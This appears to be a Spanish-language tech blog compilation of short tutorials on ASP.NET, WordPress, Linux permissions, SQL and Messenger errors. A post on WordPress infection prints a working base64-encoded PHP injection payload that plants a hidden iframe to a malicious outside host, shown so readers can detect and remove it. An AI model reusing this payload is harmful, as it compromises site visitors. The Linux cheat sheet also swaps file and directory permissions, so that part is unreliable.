Como hacer comentarios en ASP.NET C#

Asp  .NEt logtoipo

Si necesitas comentar algún código mientras estás utilizando ASP.NET en el código HTML, puedes hacerlo con la siguiente sintáxis:

<%– Código a comentar –%> 

Todo lo que pongas entre los símbolos <%– y –%> será obviado por el servidor, incluso si es multilínea.

Una cosa muy cómoda en Visual Studio, es seleccionar o ponerte en la línea que quieres comentar y luego utilizar esta combinación de teclas Cntrl + e y seguidamente Cntrl + c, de esta manera tu código se comentará completamente sólo.

También existe la forma de descomentar automáticamente y sería con esta combinación des teclas Cntrl + e y seguidamente Cntrl + u.

Ejemplo:

</html>
<%@ Page Language="C#" %>

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html xmlns=”http://www.w3.org/1999/xhtml” >
<head runat=”server”>
<title>Untitled Page</title>
</head>
<body>
<form id=”form1″ runat=”server”>
<div>

        <%- -<asp:Label ID=”texto” runat=”server”></asp:Label>- -%>

<asp:TextBox ID=”texto” runat=”server”></asp:TextBox>
</div>
</form>
</body>
</html>

 

Como conectar WordPress con Twitter

Twitter Feed

Es posible que tengamos un blog en el que escribimos y también una cuenta de Twitter con la que también nos comunicamos. Puede ser un poco tedioso tener que reescribir o enlazar en WordPress y luego en Twitter. Para evitar trabajar en exceso, hay varias formas de comunicar WordPress con Twitter y voy a explicar la que utilizo yo para los clientes que me lo requieren.

Hay varios plugins, aunque la verdad no los he utilizado y quizás puedan ser muy sencillos. En mi caso para mantener WordPress con menos funciones añadidas, utilizo un servicio externo que nos permite comunicar en Twitter los artículos escritos en WordPress a través del servicio de RSS.

La página desde la que podemos hacer esto es http://twitterfeed.com.

  1. Primero nos registramos en la página.
  2. Creamos el feed como en la imágen.Dándole un nombre y la dirección de las RSS de nuestra página.

    Twitter Feed paso 1

  3. Configuramos el servicio de Twitter introduciendo nuestros datos de Twitter.

    Twitter feed paso 2

  4. Pinchamos en el botón de abajo de “Create” y ya tendremos nuesro enlace configurado.
  5. Podemos cambiar las opciones del enlace, como el tiempo de frecuencia, desde el dashboard.

Niveles de Usuarios en WordPress

wordpress logo logotipo con mantenimiento

Si vas a permiritr escibir noticias a otros usuarios dentro de WordPress, es necesario saber que permisos tienen cada uno de los roles de usuarios que tiene WordPress.

A la pregunta ¿Que es mejor editor, colaborador, autor…?, la respuesta es que depende de lo que le quieras dejar hacer a los usuarios.

Estos son los permisos de los roles de WordPress:

  • Suscriptor – No puede ni escibir ni publicar post. Son usuarios ideales para las páginas que sólo permitan el acceso a usuarios registrados.
  • Colaborador – Es un usuario que puede escribir y modificar sus propios post. No puede publicarlos por lo que necesitará la supervisión de un editor o administrador que se los apruebe (publicar).
  • Autor – Puede escribir y publicar posts, también podrá editarlos, pero sólamente los suyos.
  • Editor – Puede escribir y publicar post y páginas y también editar, modificar y publicar los post de otros usuarios. Sería como el redactor Jefe.
  • Administrador – Es el que puede hacer de todo. desde publicar post a cambiar el aspecto de la página.

 

Puedes ver los roles y todos los permisos en la documentación de WordPress: -> http://codex.wordpress.org/Roles_and_Capabilities

También hay plugins que permiten crear tus propios roles.

 

Como utilizar la imagen destacada de WordPress – Thumbnail

wordpress logo logotipo con mantenimiento

Si quieres utilizar thumnails o la imagen destacada en WordPress, en las entradas de tu tema, sólo tienes que seguir este sencillo tutorial.

  1. Editar el archivo functions.php, bien de forma manual o bien desde el editor de apariencia, seleccionando el archivo functions.
  2. Añadir las siguientes líneas dnetro del archivo functions.php
    • /*La primera línea le dice a WordPress que habilite las imágenes destacadas, si existe la función en nuestro WordPress. La segunda le pasa el tamaño por defecto para esas imágenes.*/
      if ( function_exists( 'add_theme_support' ) )
      add_theme_support( 'post-thumbnails' );
      set_post_thumbnail_size(150, 150);
  3. Ahora editaremos el fichero de las entradas de nuestra página principal, suele ser el archivo index.php o a veces loop.php dependiendo de tu tema.
  4. Añadiremos el siguiente código donde queramos mostrar nuestra imágen destacada o thumbnail
    • <?php the_post_thumbnail();?>

Con esto ya tendríamos puesta nuestra imágen donde la necesitemos.

Unas opciones muy interesantes son el tamaño por defecto del thumbnail para que no nos deformen las imágenes. Simplemente tenemos que cambiar el código del paso 4 por estos otros.
the_post_thumbnail('thumbnail'); // Thumbnail (default 150px x 150px max)
the_post_thumbnail('medium'); // Medium resolution (default 300px x 300px max)
the_post_thumbnail('large'); // Large resolution (default 640px x 640px max)
the_post_thumbnail( array(100,100) ); // Otras resoluciones

Una buena opción es utilizar the_post_thumbnail() con the_excerpt() para obtener post sólamente con la imágen destacada en el index.php y otra imágen dentro del post, en el page.php

Cambiar permisos sólo a los directorios o a los ficheros

Logo de linux con el pinguino

En Linux cambiar permisos a los ficheros y a los directorios es algo muy común. Esto se realiza con el comando chmod, como podemos ver en el siguiente ejemplo:

– Cambiar permisos para el directorio /home/pruebas -> chmod 775 /home/pruebas
– Cambiar permisos para el fichero texto.txt -> chmod 664 texto.txt

chmod tiene una opción que hace que se ejecute de forma recursiva, es decir, que se aplique a todos los ficheros y directorios que estén por debajo. Esta opción es la opción -R

El problema de esto es que no discrimina entre directorios y ficheros, por lo que si queremos cambiar los permisos sólo a los ficheros o sólo a los directorios tendremos que aplicar chmod de otra forma. Lo haremos con find.

Cambiar los permisos sólo a los directorios o sólo a los ficheros:

– Sólo a los directorios:
find /home/pruebas -type d -exec chmod -R 775 {} \; Esto cambiaría los permisos de los directorios que estuvieran por debajo de /home/pruebas.
– Sólo a los ficheros:
find . -type f -exec chmod -R 664 {} \; Esto cambiaría los permisos de los archivos que estuvieran por debajo de nuestro directorio actual (simbolizado por el . )

Iframe en WordPress, posible malware

wordpress logo logotipo con mantenimiento

Quizás hayas notado en tu blog de WordPress, que arriba hay una franja de separación entre tu blog y la barra del navegador, tal y como tiene este blog. Esto puede ser por diseño (como en este blog) o por una instalación de un malware.

Esta franja, si ves el código fuente de la página verá un código parecido a este, justo en la primera línea de tu blog antes de la cabecera:

  < iframe src="web maliciosa" width="1" height="1"

Esto en la mayoría de los casos es debido a un ataque malicioso. Otra forma de comprobar si te están inyectando código a tu WordPress, es editar el archivo index.php del directorio raiz de tu blog. Si encuentras la siguiente expresión o parecida, estarás infectado.

 < ?php eval( base64_decode ('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX 2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0='));

Quitar esta línea evitará que te inyecte código en tus páginas, pero es una solución temporal.

Lo mejor que puedes hacer es seguir estos pasos:

  1. Realiza una copia de todos los archivos de WordPress.
  2. Borra completamente los archivos de tu blog del hosting.
  3. Instala un WordPress nuevo en tu hosting.
  4. Sube el archivo wp-config.php de la copia del paso 1 al nuevo blog.
  5. Ahora deberías de poder conectar al blog, que conecta a la base de datos. Por lo que deberías de poder entrar en la sección de administración. (no entres en el apartado de plugins, o probablemente se te desactivarán)
  6. Instala el mismo tema que tenías instalado anteriormente.
  7. Ahora copia cada uno en su sitio desde la copia del paso 1, los siguientes directorios.
  • ./wp-content/themes/tu tema
  • ./wp-content/plugins
  • ./wp-content/uploads
  • Cualquier otro directorio que estimes que necesitas para volver a poner tu wordpress en marcha tal y como estaba.

Ahora ya tienes otra vez tu blog en marcha.

Para asegurarnos de que no nos vuelve a suceder, instalaremos el plugin de seguridad Wp-Security Scan

 

Consulta Update desde una consulta Select

Logo SQL Server

A veces nos interesa actualizar un campo o varios de una tabla, pero en lugar de hacerlo a mano buscamos una opción mucho más rápida y sin posible error. Para ello hacemos un Update con los valores de una consulta Select.

En este ejemplo es de SQL Server, pero para los demás gestores de bases de datos la consulta es muy parecida:

Acualizamos el nombre del producto de la tabla productos, con la descripción del artículo.

Update Productos SET Producto.Nombre = (SELECT Articulos.Descripcion FROM Articulos WHERE Articulos.Id = Productos.ArticuloId)

Solución al Error messenger 80072efd

Windows problema error inciar session

Si no puedes entrar al messenger u otros programas y el error que te da es el 80072efd aquí tienes unos cuantos pasos para resolver este error.

– Lo primero que puedes probar a hacer, si has instalado recientemente algún tipo de software, es restaurar Windows a un punto anterior. Con ello, no perderíamos los archivos posteriores a la fecha, en cambio perderíamos los programas instalados posteriores a la fecha. (http://www.forospyware.com/t25530-3.html#post211549).

– Otra opción es realizar los siguientes pasos:

  1. Comprueba que el servicio de MSN Messenger funciona correctamente.
    Para ello visita comprobar estado del servicio. http://messenger.msn.es/Status.asp
    Si no hay problemas comprueba que tu Messenger tiene conexión a internet y puede acceder:
    MSN Messenger haz clic en Herramientas > Opciones. Elige la pestaña conexión y espera a que se ejecute el sistema de comprobación de conexión. Si no utilizas un proxy comprueba que tras pulsar el botón de opciones avanzadas solo te aparezca marcada la opción TCP. A continuación comprueba si puedes conectar. Si te encuentras en una red en tu estación de trabajo contacta con tu administrador.
  2. En Internet Explorer haz clic en “herramientas” -> “opciones de internet” y selecciona la pestaña “Conexiones”. Revisa que esté desactivado “Usar servidor proxy” y marcada la opción de “Detectar automaticamente”. Esto debería permitir que tanto como Internet Explorer como MSN Messenger puedan acceder correctamente a internet.
  3. Actualiza tu Windows y después reinstala Internet Explorer. Puedes descargártelo en http://www.microsoft.com/windows/ie/

– Si te sigue sin funcionar puedes probar a escanear tu ordenador con algún antivirus que tengas en tu ordenador y también con algún antivirus online.

 

Con todos estos pasos ya deberías de tener la solución de poder entrar a messenger y que no te salga el error 80072edf. Aunque puedes encontrar más pasos en este post que quizás te sirvan. (http://www.resuelvetusproblemas.com/como-resolver-el-error-en-messenger-80072efd-8004840f-y-80048820/)

Chuleta de comandos de Linux

Logo de linux con el pinguino

Muchos comandos que casi no uso, al final los tengo que volver a mirar en internet, alguna opción, etc.
En este post voy a ir poniendo esos comandos que casi no uso y que tengo que remirar.

Comandos de Usuarios:

Borrar usuario: Con la opción -r borramos tambien su home y su mail.

userdel -r usuario

Cambiar el propietario de una carpeta y los elementos que la contienen: Con la opcion -R hacemos que sea recursiva y que afecte también a los subdirectorios.

chown usuario -R carpeta

Cambiar el grupo propietario de una carpeta y los elementos que la contienen: Con la opcion -R hacemos que sea recursiva y que afecte también a los subdirectorios.

chgrp grupo -R carpeta

Cambiar los permisos sólo a los directorios o sólo a los ficheros: Con la opcion -R hacemos que sea recursiva y que afecte también a los subdirectorios.

– Sólo a los directorios:

find . -type d -exec chmod -R 664 {} \;

– Sólo a los ficheros:

find . -type d -exec chmod -R 775 {} \;

Poner asteriscos en un campo password html

Logotipo una pagina web

Este post es para los que se estan iniciando en el mundo web o que nunca han echo un formulario de usuario por ejemplo. Hace poco me han preguntado cuál era la “técnica” para que cuando se escribe una contraseña en un campo de html salgan asteríscos en lugar del password escrito.
La solución es muy sencilla. Al declarar el campo de tipo input debemos de indicar que también es de tipo password. Algo así:

<label>Contraseña:<label />
<input TYPE="password" name="password" type="text" id="password" size="30" />